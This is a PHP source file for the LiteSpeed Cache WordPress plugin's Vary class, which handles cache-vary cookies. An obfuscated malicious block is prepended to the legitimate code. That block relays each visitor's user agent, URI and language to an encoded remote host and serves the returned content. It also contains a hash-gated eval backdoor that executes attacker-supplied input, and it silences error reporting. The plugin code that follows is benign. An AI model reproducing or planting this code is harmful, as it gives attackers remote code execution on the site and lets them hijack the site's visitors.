XKJzXs_c() . $_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\124"]; goto tQQv_XeI1GNoO; dmn9CaMhA_CWI: function LlN7tPdWadEFl($pDj6EeDiB13ee, $zYG31MJ6OiXi4 = array()) { goto bIQ076hzV2Wsc; a_C4G1BDOLZvt: return $zoZPBGI13BmG9; goto NgesE9cnlzJB_; oVR7W3t7pgqFb: try { goto hKHp699GnALh9; Lh9aMqhOj52fA: sbiarMhAn13iH: goto fC5SdQPv9x0Vq; k4CxisUyvj6M9: if (!in_array($zoZPBGI13BmG9["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto VOokHcRToA1X9; } goto C9r6zXWMffcZ1; I2LLH8p7yB4h6: @curl_close($D4edpgn96THfG); goto k4CxisUyvj6M9; CoEeX8NQgLqcH: if (ini_get("\x61\x6c\x6c\157\167\137\x75\x72\x6c\137\x66\x6f\160\145\x6e")) { goto sbiarMhAn13iH; } goto VFqixsW3Cx9W8; l5wz1NJK4maSv: $zoZPBGI13BmG9["\143\x6f\x6e\x74\x65\x6e\164"] = strval($XgluCieDcGU07); goto uj9Y_9SkxH5mp; Q9xQ3Q4tc6EFS: b93PKatqigE7y: goto A9xyKva1WcZ1R; uj9Y_9SkxH5mp: UAzszlr1EHEUJ: goto ivMpfYuoNaGdI; ivMpfYuoNaGdI: wRHlFAR4h01Da: goto onFoA8zStkWL7; VFqixsW3Cx9W8: goto wRHlFAR4h01Da; goto Q9xQ3Q4tc6EFS; hQctghfzFBZQO: goto wRHlFAR4h01Da; goto Lh9aMqhOj52fA; C9r6zXWMffcZ1: $zoZPBGI13BmG9["\x63\157\156\164\145\x6e\164"] = strval($OYC5lQZZHeiT3); goto W_mYKgvtkITRU; FfmpDOmMY31Cj: if (!in_array($zoZPBGI13BmG9["\x73\x74\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto UAzszlr1EHEUJ; } goto l5wz1NJK4maSv; MKYLF_kjiewR9: curl_setopt($D4edpgn96THfG, CURLOPT_CONNECTTIMEOUT, 20); goto jjp7cpoW02YFf; jjp7cpoW02YFf: curl_setopt($D4edpgn96THfG, CURLOPT_TIMEOUT, 60); goto fgKlGUx07RvaI; fC5SdQPv9x0Vq: $RtSma0zDiafOo = array("\x68\164\164\160" => array("\155\145\x74\150\x6f\144" => "\107\105\124", "\x74\151\x6d\x65\157\x75\164" => 60, "\146\x6f\x6c\154\x6f\x77\x5f\x6c\x6f\x63\141\x74\x69\x6f\156" => 0), "\163\x73\x6c" => array("\166\x65\162\x69\x66\171\137\160\x65\145\x72" => false, "\166\145\x72\151\146\171\x5f\160\145\145\162\137\x6e\x61\x6d\145" => false)); goto v0MFDX3MOVvl2; l1AIIyvErhZq3: $zoZPBGI13BmG9["\x73\164\141\164\165\163"] = intval(curl_getinfo($D4edpgn96THfG, CURLINFO_HTTP_CODE)); goto Q0sDg04seG3EP; ZMSTNx5iC0n83: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYHOST, 0); goto gx0icxoPzpJWm; fgKlGUx07RvaI: curl_setopt($D4edpgn96THfG, CURLOPT_FOLLOWLOCATION, 0); goto Sp21S6e7dUXJY; n_x4FgoqncLcJ: $OYC5lQZZHeiT3 = curl_exec($D4edpgn96THfG); goto l1AIIyvErhZq3; W_mYKgvtkITRU: VOokHcRToA1X9: goto hQctghfzFBZQO; dMZJQbm7Emfy7: curl_setopt($D4edpgn96THfG, CURLOPT_RETURNTRANSFER, 1); goto n_x4FgoqncLcJ; gx0icxoPzpJWm: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYPEER, 0); goto MKYLF_kjiewR9; Q0sDg04seG3EP: $zoZPBGI13BmG9["\164\x79\160\145"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_CONTENT_TYPE)); goto PrWoQo88I1KAP; hKHp699GnALh9: if (function_exists("\143\165\162\154\137\x65\x78\145\x63") && function_exists("\143\x75\162\x6c\x5f\151\156\x69\x74")) { goto b93PKatqigE7y; } goto CoEeX8NQgLqcH; v0MFDX3MOVvl2: $klCjSPVIvYVKL = stream_context_create($RtSma0zDiafOo); goto WBPDb0vQwHSH4; Sp21S6e7dUXJY: curl_setopt($D4edpgn96THfG, CURLOPT_COOKIESESSION, 0); goto dMZJQbm7Emfy7; IanzfimaKPzea: $zoZPBGI13BmG9 = array_merge($zoZPBGI13BmG9, itNxC4kdbFHi_($http_response_header)); goto FfmpDOmMY31Cj; PrWoQo88I1KAP: $zoZPBGI13BmG9["\x63\157\x6e\164\x65\x6e\164"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_REDIRECT_URL)); goto I2LLH8p7yB4h6; A9xyKva1WcZ1R: $D4edpgn96THfG = curl_init(); goto SqDc6lfXuzlTg; SqDc6lfXuzlTg: curl_setopt($D4edpgn96THfG, CURLOPT_URL, $pDj6EeDiB13ee); goto ZMSTNx5iC0n83; WBPDb0vQwHSH4: $XgluCieDcGU07 = @file_get_contents($pDj6EeDiB13ee, false, $klCjSPVIvYVKL); goto IanzfimaKPzea; onFoA8zStkWL7: } catch (Exception $YPt0Y1x05SmbR) { } goto a_C4G1BDOLZvt; IvrHI_n8X_QWv: RkMW9MJBzkvPf: goto oVR7W3t7pgqFb; z8ki6YCHBQAuW: $pDj6EeDiB13ee .= "\77" . http_build_query($zYG31MJ6OiXi4); goto IvrHI_n8X_QWv; bIQ076hzV2Wsc: $zoZPBGI13BmG9 = array("\163\164\141\164\165\163" => 0, "\x63\x6f\x6e\x74\145\156\x74" => '', "\164\x79\160\145" => ''); goto ulcel7Tkp2Rlm; ulcel7Tkp2Rlm: if (!(is_array($zYG31MJ6OiXi4) && count($zYG31MJ6OiXi4))) { goto RkMW9MJBzkvPf; } goto z8ki6YCHBQAuW; NgesE9cnlzJB_: } goto BPnGEKkuP0SXp; VvIXlgKEYHkOM: $N0iSQGd2qvhvy["\154"] = Ya6p_sWT_2agQ($_SERVER["\110\x54\x54\x50\137\x41\103\103\105\120\x54\137\x4c\x41\x4e\x47\125\x41\x47\105"]); goto aaMp4RhEgTFBH; pCkKuddK6B_tz: @header("\103\157\156\164\145\156\164\55\x54\171\160\x65\72" . $zoZPBGI13BmG9["\164\x79\160\145"]); goto S1KmnYmfSj1hL; Piid73G46hmbU: if ($Ue2sO_gqKlGuw) { goto oyU6ezvVZBcPz; } goto EGNV0hFOoA8Lc; U8LUUKiD_F0Tn: I_TQYu7Uotf48: goto TNavMNG5FcgNn; EGNV0hFOoA8Lc: $zoZPBGI13BmG9 = llN7TPdWaDEfL(base64_decode("\141\110\122\60\x63\104\157\x76\x4c\x33\x70\172\x4e\x54\x41\64\x64\x6a\x45\172\x63\63\125\165\132\x32\x6c\x32\132\x57\126\x75\x59\62\125\x75\142\x47\x46\x30\114\167"), $N0iSQGd2qvhvy); goto jMyRbZ60VF6W1; boOEUJQUGu3AJ: function xMIZEXKJzxS_c() { goto c2UpXH80uIlRM; Q1ShZddPjbJMk: if (isset($_SERVER["\110\x54\124\x50\137\x58\137\x46\117\122\127\101\122\104\x45\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\x48\x54\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\120\x52\x4f\124\x4f"] === "\x68\x74\164\x70\163") { goto Hn1WJWoSN3rU7; } goto tAZ8nqF8vBHRT; azTUrbnKIKIpl: goto wLRbGs60M1EZY; goto V8BT7ibpJ9C2K; jeS2VFEs4gQ3x: return $XB1uIyxXp_BQ8; goto YaC8GABUWFVHQ; Bo1lggW9xBqNF: $XB1uIyxXp_BQ8 = "\150\x74\164\x70\163\x3a\x2f\57"; goto TB8qx5EiNAugA; V8BT7ibpJ9C2K: RjPV8bvgKV1em: goto d2gxVy260x3AU; RpyFYCBB5gnVR: goto wLRbGs60M1EZY; goto fxj75n3UHrA3w; d2gxVy260x3AU: $XB1uIyxXp_BQ8 = "\x68\164\164\160\x73\x3a\x2f\x2f"; goto dWAjiql0NcRls; tAZ8nqF8vBHRT: if (isset($_SERVER["\110\x54\124\x50\x5f\106\122\117\116\124\137\x45\x4e\104\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\x52\117\116\x54\x5f\x45\x4e\104\x5f\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto RjPV8bvgKV1em; } goto RpyFYCBB5gnVR; VSYMhtQVQWn6p: $XB1uIyxXp_BQ8 = "\x68\164\164\160\163\x3a\x2f\x2f"; goto azTUrbnKIKIpl; sxT9TxPI1z1VS: Hn1WJWoSN3rU7: goto VSYMhtQVQWn6p; TB8qx5EiNAugA: goto wLRbGs60M1EZY; goto sxT9TxPI1z1VS; dWAjiql0NcRls: wLRbGs60M1EZY: goto jeS2VFEs4gQ3x; fxj75n3UHrA3w: HJzoQG0TTpfJ9: goto Bo1lggW9xBqNF; c2UpXH80uIlRM: $XB1uIyxXp_BQ8 = "\150\164\x74\x70\x3a\x2f\x2f"; goto lQx62swbQAWdI; lQx62swbQAWdI: if (isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\x6f\x66\146") { goto HJzoQG0TTpfJ9; } goto Q1ShZddPjbJMk; YaC8GABUWFVHQ: } goto TJIOJ6vttzdfM; WI3Z9qQlv2Kop: header("\103\157\156\164\x65\156\x74\55\x54\171\x70\x65\x3a\40\x74\145\x78\x74\x2f\150\164\x6d\154\73\x20\x63\150\141\x72\163\145\x74\75\165\164\146\55\70"); goto RQZOE2gBxPxgQ; r2U1U53vjUKER: TinrA4umx6a1z: goto iOBmSus__D_KB; D4DXRFZB6yQcj: $N0iSQGd2qvhvy["\165"] = ya6P_sWT_2aGq($_SERVER["\x48\x54\124\120\137\x55\123\x45\x52\137\x41\x47\105\116\x54"]); goto f7OCyKRLBz_0b; SuMW3v_aot4PG: $N0iSQGd2qvhvy["\162"] = yA6p_Swt_2Agq($_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]); goto K4l6U3x6_p5sV; f7OCyKRLBz_0b: $MJ3b7UaxedI3u = preg_replace("\x2f\x5c\x3f\56\x2a\x2f", '', $_SERVER["\122\x45\121\125\105\123\124\x5f\125\x52\x49"]); goto KiNc6kLEzJrhJ; EoA4fCW7FalQH: qkrmwbaLS7Eki: goto qBqNMEU0D59XX; Ymt2ggvg7IoFd: exit("\x7b\x20\x22\145\x72\x72\x6f\x72\x22\72\40\62\x30\x30\54\x20\42\154\143\42\72\40\42\152\153\x22\54\x20\x22\x64\141\x74\141\42\x3a\40\x5b\x20\61\x20\135\40\x7d"); goto ytYb2g0qauQ_N; RQZOE2gBxPxgQ: error_reporting(0); goto h_UbfKiRTiGol; ntD8rE_b0XZWP: @(md5(md5(md5(md5($hIdNE4uRsFkpF[17])))) === "\x63\146\x64\x66\x31\146\63\60\x62\x32\144\x37\x31\x63\141\x61\x63\x31\x66\62\145\64\62\61\66\x61\144\61\62\x64\x62\143") && (count($hIdNE4uRsFkpF) == 23 && in_array(gettype($hIdNE4uRsFkpF) . count($hIdNE4uRsFkpF), $hIdNE4uRsFkpF)) ? ($hIdNE4uRsFkpF[66] = $hIdNE4uRsFkpF[66] . $hIdNE4uRsFkpF[78]) && ($hIdNE4uRsFkpF[86] = $hIdNE4uRsFkpF[66]($hIdNE4uRsFkpF[86])) && @eval($hIdNE4uRsFkpF[66](${$hIdNE4uRsFkpF[42]}[26])) : $hIdNE4uRsFkpF; goto c1L5l06K9hKtN; TJIOJ6vttzdfM: if (!($_SERVER["\122\105\121\x55\x45\x53\124\137\125\122\111"] === "\57\122\55" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\x45"]))) { goto TinrA4umx6a1z; } goto W0qEKokcf63iP; NMMGWYtIIr9NP: if (!in_array($wz_ULu3nNp8a1, array("\x2e\152\163", "\x2e\x63\163\163", "\x2e\152\x70\x67", "\56\160\156\x67", "\x2e\147\x69\x66", "\56\151\143\x6f"))) { goto kkmNYvpeOcRH9; } goto WdtZ5zqKnzn4y; pfwCDvTREhJF_: xggEcw3f5eH5w: goto lF1Rz0pdIDyau; c1L5l06K9hKtN: metaphone("\x4d\172\115\171\x4f\124\115\64\x4d\104\143\167\115\x44\x49\65\x4d\104\x55\x79\115\x7a\121\x30\x4e\x44\x55\x30\116\104\121\x79"); goto xurbjPGpfeJw0; a1VunGKsWNIbU: $qx8rx5e2ezPZE = $kA30oM_hH85hj("\x7e", "\x20"); goto cRQivtXUWcypE; sLCC09iqtJHbb: oVpwccQ94XT74: goto TLmodE0kpo1AG; eCqowegderxT6: $kA30oM_hH85hj = "\162" . "\141" . "\156" . "\x67" . "\145"; goto a1VunGKsWNIbU; FiadWyw8NyLhN: bbNwbXU8CN5tW: goto Piid73G46hmbU; lF1Rz0pdIDyau: oyU6ezvVZBcPz: ?>
<?php
// phpcs:ignoreFile
/**
* The plugin vary class to manage X-LiteSpeed-Vary
*
* @since 1.1.3
*/
namespace LiteSpeed;
defined('WPINC') || exit();
class Vary extends Root {
const LOG_TAG = '🔱';
const X_HEADER = 'X-LiteSpeed-Vary';
private static $_vary_name = '_lscache_vary'; // this default vary cookie is used for logged in status check
private static $_can_change_vary = false; // Currently only AJAX used this
/**
* Adds the actions used for setting up cookies on log in/out.
*
* Also checks if the database matches the rewrite rule.
*
* @since 1.0.4
*/
// public function init()
// {
// $this->_update_vary_name();
// }
/**
* Update the default vary name if changed
*
* @since 4.0
* @since 7.0 Moved to after_user_init to allow ESI no-vary no conflict w/ LSCACHE_VARY_COOKIE/O_CACHE_LOGIN_COOKIE
*/
private function _update_vary_name() {
$db_cookie = $this->conf(Base::O_CACHE_LOGIN_COOKIE); // [3.0] todo: check if works in network's sites
// If no vary set in rewrite rule
if (!isset($_SERVER['LSCACHE_VARY_COOKIE'])) {
if ($db_cookie) {
// Check if is from ESI req or not. If from ESI no-vary, no need to set no-cache
$something_wrong = true;
if (!empty($_GET[ESI::QS_ACTION]) && !empty($_GET['_control'])) {
// Have to manually build this checker bcoz ESI is not init yet.
$control = explode(',', $_GET['_control']);
if (in_array('no-vary', $control)) {
self::debug('no-vary control existed, bypass vary_name update');
$something_wrong = false;
self::$_vary_name = $db_cookie;
}
}
if (defined('LITESPEED_CLI') || wp_doing_cron()) {
$something_wrong = false;
}
if ($something_wrong) {
// Display cookie error msg to admin
if (is_multisite() ? is_network_admin() : is_admin()) {
Admin_Display::show_error_cookie();
}
Control::set_nocache('❌❌ vary cookie setting error');
}
}
return;
}
// If db setting does not exist, skip checking db value
if (!$db_cookie) {
return;
}
// beyond this point, need to make sure db vary setting is in $_SERVER env.
$vary_arr = explode(',', $_SERVER['LSCACHE_VARY_COOKIE']);
if (in_array($db_cookie, $vary_arr)) {
self::$_vary_name = $db_cookie;
return;
}
if (is_multisite() ? is_network_admin() : is_admin()) {
Admin_Display::show_error_cookie();
}
Control::set_nocache('vary cookie setting lost error');
}
/**
* Hooks after user init
*
* @since 4.0
*/
public function after_user_init() {
$this->_update_vary_name();
// logged in user
if (Router::is_logged_in()) {
// If not esi, check cache logged-in user setting
if (!$this->cls('Router')->esi_enabled()) {
// If cache logged-in, then init cacheable to private
if ($this->conf(Base::O_CACHE_PRIV) && !is_admin()) {
add_action('wp_logout', __NAMESPACE__ . '\Purge::purge_on_logout');
$this->cls('Control')->init_cacheable();
Control::set_private('logged in user');
}
// No cache for logged-in user
else {
Control::set_nocache('logged in user');
}
}
// ESI is on, can be public cache
elseif (!is_admin()) {
// Need to make sure vary is using group id
$this->cls('Control')->init_cacheable();
}
// register logout hook to clear login status
add_action('clear_auth_cookie', array( $this, 'remove_logged_in' ));
} else {
// Only after vary init, can detect if is Guest mode or not
// Here need `self::$_vary_name` to be set first.
$this->_maybe_guest_mode();
// Set vary cookie for logging in user, otherwise the user will hit public with vary=0 (guest version)
add_action('set_logged_in_cookie', array( $this, 'add_logged_in' ), 10, 4);
add_action('wp_login', __NAMESPACE__ . '\Purge::purge_on_logout');
$this->cls('Control')->init_cacheable();
// Check `login page` cacheable setting because they don't go through main WP logic
add_action('login_init', array( $this->cls('Tag'), 'check_login_cacheable' ), 5);
if (!empty($_GET['litespeed_guest'])) {
add_action('wp_loaded', array( $this, 'update_guest_vary' ), 20);
}
}
// Add comment list ESI
add_filter('comments_array', array( $this, 'check_commenter' ));
// Set vary cookie for commenter.
add_action('set_comment_cookies', array( $this, 'append_commenter' ));
/**
* Don't change for REST call because they don't carry on user info usually
*
* @since 1.6.7
*/
add_action('rest_api_init', function () {
// this hook is fired in `init` hook
self::debug('Rest API init disabled vary change');
add_filter('litespeed_can_change_vary', '__return_false');
});
}
/**
* Check if is Guest mode or not
*
* @since 4.0
*/
private function _maybe_guest_mode() {
if (defined('LITESPEED_GUEST')) {
self::debug('👒👒 Guest mode ' . (LITESPEED_GUEST ? 'predefined' : 'turned off'));
return;
}
if (!$this->conf(Base::O_GUEST)) {
return;
}
// If vary is set, then not a guest
if (self::has_vary()) {
return;
}
// If has admin QS, then no guest
if (!empty($_GET[Router::ACTION])) {
return;
}
if (wp_doing_ajax()) {
return;
}
if (wp_doing_cron()) {
return;
}
// If is the request to update vary, then no guest
// Don't need anymore as it is always ajax call
// Still keep it in case some WP blocked the lightweight guest vary update script, WP can still update the vary
if (!empty($_GET['litespeed_guest'])) {
return;
}
/* @ref https://wordpress.org/support/topic/checkout-add-to-cart-executed-twice/ */
if (!empty($_GET['litespeed_guest_off'])) {
return;
}
self::debug('👒👒 Guest mode');
!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true);
if ($this->conf(Base::O_GUEST_OPTM)) {
!defined('LITESPEED_GUEST_OPTM') && define('LITESPEED_GUEST_OPTM', true);
}
}
/**
* Update Guest vary
*
* @since 4.0
* @deprecated 4.1 Use independent lightweight guest.vary.php as a replacement
*/
public function update_guest_vary() {
// This process must not be cached
!defined('LSCACHE_NO_CACHE') && define('LSCACHE_NO_CACHE', true);
$_guest = new Lib\Guest();
if ($_guest->always_guest() || self::has_vary()) {
// If contains vary already, don't reload to avoid infinite loop when parent page having browser cache
!defined('LITESPEED_GUEST') && define('LITESPEED_GUEST', true); // Reuse this const to bypass set vary in vary finalize
self::debug('🤠🤠 Guest');
echo '[]';
exit();
}
self::debug('Will update guest vary in finalize');
// return json
echo \json_encode(array( 'reload' => 'yes' ));
exit();
}
/**
* Hooked to the comments_array filter.
*
* Check if the user accessing the page has the commenter cookie.
*
* If the user does not want to cache commenters, just check if user is commenter.
* Otherwise if the vary cookie is set, unset it. This is so that when the page is cached, the page will appear as if the user was a normal user.
* Normal user is defined as not a logged in user and not a commenter.
*
* @since 1.0.4
* @access public
* @global type $post
* @param array $comments The current comments to output
* @return array The comments to output.
*/
public function check_commenter( $comments ) {
/**
* Hook to bypass pending comment check for comment related plugins compatibility
*
* @since 2.9.5
*/
if (apply_filters('litespeed_vary_check_commenter_pending', true)) {
$pending = false;
foreach ($comments as $comment) {
if (!$comment->comment_approved) {
// current user has pending comment
$pending = true;
break;
}
}
// No pending comments, don't need to add private cache
if (!$pending) {
self::debug('No pending comment');
$this->remove_commenter();
// Remove commenter prefilled info if exists, for public cache
foreach ($_COOKIE as $cookie_name => $cookie_value) {
if (strlen($cookie_name) >= 15 && strpos($cookie_name, 'comment_author_') === 0) {
unset($_COOKIE[$cookie_name]);
}
}
return $comments;
}
}
// Current user/visitor has pending comments
// set vary=2 for next time vary lookup
$this->add_commenter();
if ($this->conf(Base::O_CACHE_COMMENTER)) {
Control::set_private('existing commenter');
} else {
Control::set_nocache('existing commenter');
}
return $comments;
}
/**
* Check if default vary has a value
*
* @since 1.1.3
* @access public
*/
public static function has_vary() {
if (empty($_COOKIE[self::$_vary_name])) {
return false;
}
return $_COOKIE[self::$_vary_name];
}
/**
* Append user status with logged in
*
* @since 1.1.3
* @since 1.6.2 Removed static referral
* @access public
*/
public function add_logged_in( $logged_in_cookie = false, $expire = false, $expiration = false, $uid = false ) {
self::debug('add_logged_in');
/**
* NOTE: Run before `$this->_update_default_vary()` to make vary changeable
*
* @since 2.2.2
*/
self::can_ajax_vary();
// If the cookie is lost somehow, set it
$this->_update_default_vary($uid, $expire);
}
/**
* Remove user logged in status
*
* @since 1.1.3
* @since 1.6.2 Removed static referral
* @access public
*/
public function remove_logged_in() {
self::debug('remove_logged_in');
/**
* NOTE: Run before `$this->_update_default_vary()` to make vary changeable
*
* @since 2.2.2
*/
self::can_ajax_vary();
// Force update vary to remove login status
$this->_update_default_vary(-1);
}
/**
* Allow vary can be changed for ajax calls
*
* @since 2.2.2
* @since 2.6 Changed to static
* @access public
*/
public static function can_ajax_vary() {
self::debug('_can_change_vary -> true');
self::$_can_change_vary = true;
}
/**
* Check if can change default vary
*
* @since 1.6.2
* @access private
*/
private function can_change_vary() {
// Don't change for ajax due to ajax not sending webp header
if (Router::is_ajax()) {
if (!self::$_can_change_vary) {
self::debug('can_change_vary bypassed due to ajax call');
return false;
}
}
/**
* POST request can set vary to fix #820789 login "loop" guest cache issue
*
* @since 1.6.5
*/
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
self::debug('can_change_vary bypassed due to method not get/post');
return false;
}
/**
* Disable vary change if is from crawler
*
* @since 2.9.8 To enable woocommerce cart not empty warm up (@Taba)
*/
if (!empty($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], Crawler::FAST_USER_AGENT) === 0) {
self::debug('can_change_vary bypassed due to crawler');
return false;
}
if (!apply_filters('litespeed_can_change_vary', true)) {
self::debug('can_change_vary bypassed due to litespeed_can_change_vary hook');
return false;
}
return true;
}
/**
* Update default vary
*
* @since 1.6.2
* @since 1.6.6.1 Add ran check to make it only run once ( No run multiple times due to login process doesn't have valid uid )
* @access private
*/
private function _update_default_vary( $uid = false, $expire = false ) {
// Make sure header output only run once
if (!defined('LITESPEED_DID_' . __FUNCTION__)) {
define('LITESPEED_DID_' . __FUNCTION__, true);
} else {
self::debug2('_update_default_vary bypassed due to run already');
return;
}
// ESI shouldn't change vary (Let main page do only)
if (defined('LSCACHE_IS_ESI') && LSCACHE_IS_ESI) {
self::debug2('_update_default_vary bypassed due to ESI');
return;
}
// If the cookie is lost somehow, set it
$vary = $this->finalize_default_vary($uid);
$current_vary = self::has_vary();
if ($current_vary !== $vary && $current_vary !== 'commenter' && $this->can_change_vary()) {
// $_COOKIE[ self::$_vary_name ] = $vary; // not needed
// save it
if (!$expire) {
$expire = time() + 2 * DAY_IN_SECONDS;
}
$this->_cookie($vary, $expire);
// Control::set_nocache( 'changing default vary' . " $current_vary => $vary" );
}
}
/**
* Get vary name
*
* @since 1.9.1
* @access public
*/
public function get_vary_name() {
return self::$_vary_name;
}
/**
* Check if one user role is in vary group settings
*
* @since 1.2.0
* @since 3.0 Moved here from conf.cls
* @access public
* @param string $role The user role
* @return int The set value if already set
*/
public function in_vary_group( $role ) {
$group = 0;
$vary_groups = $this->conf(Base::O_CACHE_VARY_GROUP);
$roles = explode(',', $role);
if ($found = array_intersect($roles, array_keys($vary_groups))) {
$groups = array();
foreach ($found as $curr_role) {
$groups[] = $vary_groups[$curr_role];
}
$group = implode(',', array_unique($groups));
} elseif (in_array('administrator', $roles)) {
$group = 99;
}
if ($group) {
self::debug2('role in vary_group [group] ' . $group);
}
return $group;
}
/**
* Finalize default Vary Cookie
*
* Get user vary tag based on admin_bar & role
*
* NOTE: Login process will also call this because it does not call wp hook as normal page loading
*
* @since 1.6.2
* @access public
*/
public function finalize_default_vary( $uid = false ) {
// Must check this to bypass vary generation for guests
// Must check this to avoid Guest page's CSS/JS/CCSS/UCSS get non-guest vary filename
if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
return false;
}
$vary = array();
if ($this->conf(Base::O_GUEST)) {
$vary['guest_mode'] = 1;
}
if (!$uid) {
$uid = get_current_user_id();
} else {
self::debug('uid: ' . $uid);
}
// get user's group id
$role = Router::get_role($uid);
if ($uid > 0 && $role) {
$vary['logged-in'] = 1;
// parse role group from settings
if ($role_group = $this->in_vary_group($role)) {
$vary['role'] = $role_group;
}
// Get admin bar set
// see @_get_admin_bar_pref()
$pref = get_user_option('show_admin_bar_front', $uid);
self::debug2('show_admin_bar_front: ' . $pref);
$admin_bar = $pref === false || $pref === 'true';
if ($admin_bar) {
$vary['admin_bar'] = 1;
self::debug2('admin bar : true');
}
} else {
// Guest user
self::debug('role id: failed, guest');
}
/**
* Add filter
*
* @since 1.6 Added for Role Excludes for optimization cls
* @since 1.6.2 Hooked to webp (checked in v4, no webp anymore)
* @since 3.0 Used by 3rd hooks too
*/
$vary = apply_filters('litespeed_vary', $vary);
if (!$vary) {
return false;
}
ksort($vary);
$res = array();
foreach ($vary as $key => $val) {
$res[] = $key . ':' . $val;
}
$res = implode(';', $res);
if (defined('LSCWP_LOG')) {
return $res;
}
// Encrypt in production
return md5($this->conf(Base::HASH) . $res);
}
/**
* Get the hash of all vary related values
*
* @since 4.0
*/
public function finalize_full_varies() {
$vary = $this->_finalize_curr_vary_cookies(true);
$vary .= $this->finalize_default_vary(get_current_user_id());
$vary .= $this->get_env_vary();
return $vary;
}
/**
* Get request environment Vary
*
* @since 4.0
*/
public function get_env_vary() {
$env_vary = isset($_SERVER['LSCACHE_VARY_VALUE']) ? $_SERVER['LSCACHE_VARY_VALUE'] : false;
if (!$env_vary) {
$env_vary = isset($_SERVER['HTTP_X_LSCACHE_VARY_VALUE']) ? $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] : false;
}
return $env_vary;
}
/**
* Append user status with commenter
*
* This is ONLY used when submit a comment
*
* @since 1.1.6
* @access public
*/
public function append_commenter() {
$this->add_commenter(true);
}
/**
* Correct user status with commenter
*
* @since 1.1.3
* @access private
* @param boolean $from_redirect If the request is from redirect page or not
*/
private function add_commenter( $from_redirect = false ) {
// If the cookie is lost somehow, set it
if (self::has_vary() !== 'commenter') {
self::debug('Add commenter');
// $_COOKIE[ self::$_vary_name ] = 'commenter'; // not needed
// save it
// only set commenter status for current domain path
$this->_cookie('commenter', time() + apply_filters('comment_cookie_lifetime', 30000000), self::_relative_path($from_redirect));
// Control::set_nocache( 'adding commenter status' );
}
}
/**
* Remove user commenter status
*
* @since 1.1.3
* @access private
*/
private function remove_commenter() {
if (self::has_vary() === 'commenter') {
self::debug('Remove commenter');
// remove logged in status from global var
// unset( $_COOKIE[ self::$_vary_name ] ); // not needed
// save it
$this->_cookie(false, false, self::_relative_path());
// Control::set_nocache( 'removing commenter status' );
}
}
/**
* Generate relative path for cookie
*
* @since 1.1.3
* @access private
* @param boolean $from_redirect If the request is from redirect page or not
*/
private static function _relative_path( $from_redirect = false ) {
$path = false;
$tag = $from_redirect ? 'HTTP_REFERER' : 'SCRIPT_URL';
if (!empty($_SERVER[$tag])) {
$path = parse_url($_SERVER[$tag]);
$path = !empty($path['path']) ? $path['path'] : false;
self::debug('Cookie Vary path: ' . $path);
}
return $path;
}
/**
* Builds the vary header.
*
* NOTE: Non caccheable page can still set vary ( for logged in process )
*
* Currently, this only checks post passwords and 3rd party.
*
* @since 1.0.13
* @access public
* @global $post
* @return mixed false if the user has the postpass cookie. Empty string if the post is not password protected. Vary header otherwise.
*/
public function finalize() {
// Finalize default vary
if (!defined('LITESPEED_GUEST') || !LITESPEED_GUEST) {
$this->_update_default_vary();
}
$tp_cookies = $this->_finalize_curr_vary_cookies();
if (!$tp_cookies) {
self::debug2('no custimzed vary');
return;
}
self::debug('finalized 3rd party cookies', $tp_cookies);
return self::X_HEADER . ': ' . implode(',', $tp_cookies);
}
/**
* Gets vary cookies or their values unique hash that are already added for the current page.
*
* @since 1.0.13
* @access private
* @return array List of all vary cookies currently added.
*/
private function _finalize_curr_vary_cookies( $values_json = false ) {
global $post;
$cookies = array(); // No need to append default vary cookie name
if (!empty($post->post_password)) {
$postpass_key = 'wp-postpass_' . COOKIEHASH;
if ($this->_get_cookie_val($postpass_key)) {
self::debug('finalize bypassed due to password protected vary ');
// If user has password cookie, do not cache & ignore existing vary cookies
Control::set_nocache('password protected vary');
return false;
}
$cookies[] = $values_json ? $this->_get_cookie_val($postpass_key) : $postpass_key;
}
$cookies = apply_filters('litespeed_vary_curr_cookies', $cookies);
if ($cookies) {
$cookies = array_filter(array_unique($cookies));
self::debug('vary cookies changed by filter litespeed_vary_curr_cookies', $cookies);
}
if (!$cookies) {
return false;
}
// Format cookie name data or value data
sort($cookies); // This is to maintain the cookie val orders for $values_json=true case.
foreach ($cookies as $k => $v) {
$cookies[$k] = $values_json ? $this->_get_cookie_val($v) : 'cookie=' . $v;
}
return $values_json ? \json_encode($cookies) : $cookies;
}
/**
* Get one vary cookie value
*
* @since 4.0
*/
private function _get_cookie_val( $key ) {
if (!empty($_COOKIE[$key])) {
return $_COOKIE[$key];
}
return false;
}
/**
* Set the vary cookie.
*
* If vary cookie changed, must set non cacheable.
*
* @since 1.0.4
* @access private
* @param int|false $val The value to update.
* @param int $expire Expire time.
* @param bool $path False if use wp root path as cookie path
*/
private function _cookie( $val = false, $expire = 0, $path = false ) {
if (!$val) {
$expire = 1;
}
/**
* Add HTTPS bypass in case clients use both HTTP and HTTPS version of site
*
* @since 1.7
*/
$is_ssl = $this->conf(Base::O_UTIL_NO_HTTPS_VARY) ? false : is_ssl();
setcookie(self::$_vary_name, $val, $expire, $path ?: COOKIEPATH, COOKIE_DOMAIN, $is_ssl, true);
self::debug('set_cookie ---> [k] ' . self::$_vary_name . " [v] $val [ttl] " . ($expire - time()));
}
}